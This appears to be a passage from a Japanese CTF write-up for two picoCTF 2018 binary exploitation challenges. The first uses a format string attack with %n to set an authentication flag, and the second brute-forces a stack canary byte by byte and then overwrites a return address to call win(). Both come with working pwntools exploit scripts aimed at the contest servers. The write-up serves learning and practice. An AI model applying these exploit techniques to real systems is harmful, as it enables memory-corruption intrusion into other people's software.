authenticatedにどうにかして値を書き込まなければいけませんが、外部変数なのでスタックではなくヒープに位置しており、バッファーオーバーフローでスタックを書き換える手も使えません。
しかし(7)で脆弱なprintf(buf)があります。これを使って外部変数を書き換えられるでしょうか。。
writeup
ここを参考にしてwriteupを書きます。
脆弱なprintf(buf)に対し、「フォーマット文字列攻撃」を行います(解説)。
フォーマット文字列攻撃に必要なのは以下のステップです。
A) authenticatedのアドレスを取得する
B) スタックに積む
C) スタックに積んだauthenticatedのアドレスが指す先に対して0以外の値を書き込む
まず A) authenticatedのアドレスですが、idaで read_flag() を調べます。
mov eax, ds:authenticated
とあるので、ds:authenticatedをダブルクリックします。
authenticatedのアドレスは、0x0804A04Cであることがわかりました。
次にB) スタックに積むことを考えます。
$ echo "AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x"|./auth
Would you like to read the flag? (yes/no)
Received Unknown Input:
AAAA 1=80489a6 2=f7f1a5a0 3=804875a 4=f7f5e000 5=f7f5e918 6=ff92f820 7=ff92f914 8=0 9=ff92f8b4 10=3e8 11=41414141 1Sorry, you are not *authenticated*!
printf("AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x");
とすると、引数を積んでいなくてもスタックを走査し、積まれている値を書き出してくれます。
先頭に書いた"AAAA" 4Byteは11番目の引数になっていることがわかりました。
つまり、"AAAA"(4Byte) をauthenticatedのアドレス(4Byte)に置き換えればスタックに積まれるということになります。そしてその位置はprintfの11番目の引数の位置ですね。
最後の C) ですが、これがフォーマット文字列攻撃の %n を使用します。
printf("aaa%n", &authenticated);
とすれば、authenticatedは3と、%nが出る直前までに出力された文字列のバイト数が入ります。
よって、11番目の引数に対して値が入るようにすればよいので、B)と組み合わせ
printf("<&authenticated>%11$n")
とします。(%11$n は、11$が11番目の引数を表し、%nは直前までに出力されたバイト数を書き出すと読みます。)
最後に攻撃コードです。
from pwn import *
user = "<ユーザID>"
pw = "<パスワード>"
p = remote('2018shell1.picoctf.com', 52398)
print p.recvuntil('Would you like to read the flag? (yes/no)')
payload = p32(0x804a04c) + '%11$n'
p.sendline(payload)
print p.recvall()
ターミナルから
$ python mypwn.py
でフラグが得られます。
buffer overflow 3 - Points: 450 Binary Exploitation
Solve
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Source(vuln.c).
Hints
Maybe there's a smart way to brute-force the canary?
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE); //・・・(1)
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count); //・・・(2)
if (memcmp(canary,global_canary,CANARY_SIZE)) { //・・・(3)
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1); //・・・(4)
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
read_canary();
vuln();
return 0;
}
方針
win()を呼び出せればflagが表示されます。そのためには(2)でバッファーオーバーフローさせる入力でvuln()の戻りアドレスをwin()のアドレスとすればよいです。
今回違うのはcanary(カナリア)がバッファーオーバーフローを検知・防いでいるところです。
カナリアを汚さずに戻りアドレスを書き換える必要があります。
攻撃は2段階、
- カナリアの値を知る
- カナリアを正しい値で上書きしつつ、win()のアドレスを書き込む
です。
カナリアの説明は以下参照のこと。
IPA セキュアコーディングC/C++編
wikipedia stack buffer overflow#canaries
writeup
vuln()のバッファーオーバーフローを狙うときのスタック構成は下図です。
canary[]は4Byteなので総当たりでやることも可能ですが、もうちょっとスマートにやります。
方法は、1Byteづつ検査することです。
bufは32Byte、直後にcanaryなので、buf先頭から33Byte目に書き込んだ値はcanary[0]になります。
canary[0]は1Byte(=0〜255)なので256種類を試せばいつか合致する値を見つけられます。
正しいcanary[0]の値が見つかったので次はcanary[1]だけまた0〜255まで試す。。と言うことを続ければ正しいcanaryが現実的な時間で見つかります。(といっても30分程度かかりました)
user='ユーザー名'
pw='パスワード'
sh = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
sh.set_working_directory('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e')
winAddr = 0x080486eb
canary = ''
for i in range(1, 5):
for e in range(256):
p = sh.process('./vuln')
p.sendlineafter('> ', str(32+i))
p.sendafter('> ', 'a'*32+canary+chr(e))
output = p.recvall()
if 'Stack' not in output:
print output
canary += chr(e)
break
print 'canary is ' + canary
# canary = 'abcd'
p = sh.process('./vuln')
p.sendlineafter('> ', str(200))
p.sendlineafter('> ', 'a'*32+canary+'a'*16+p32(winAddr))
p.interactive()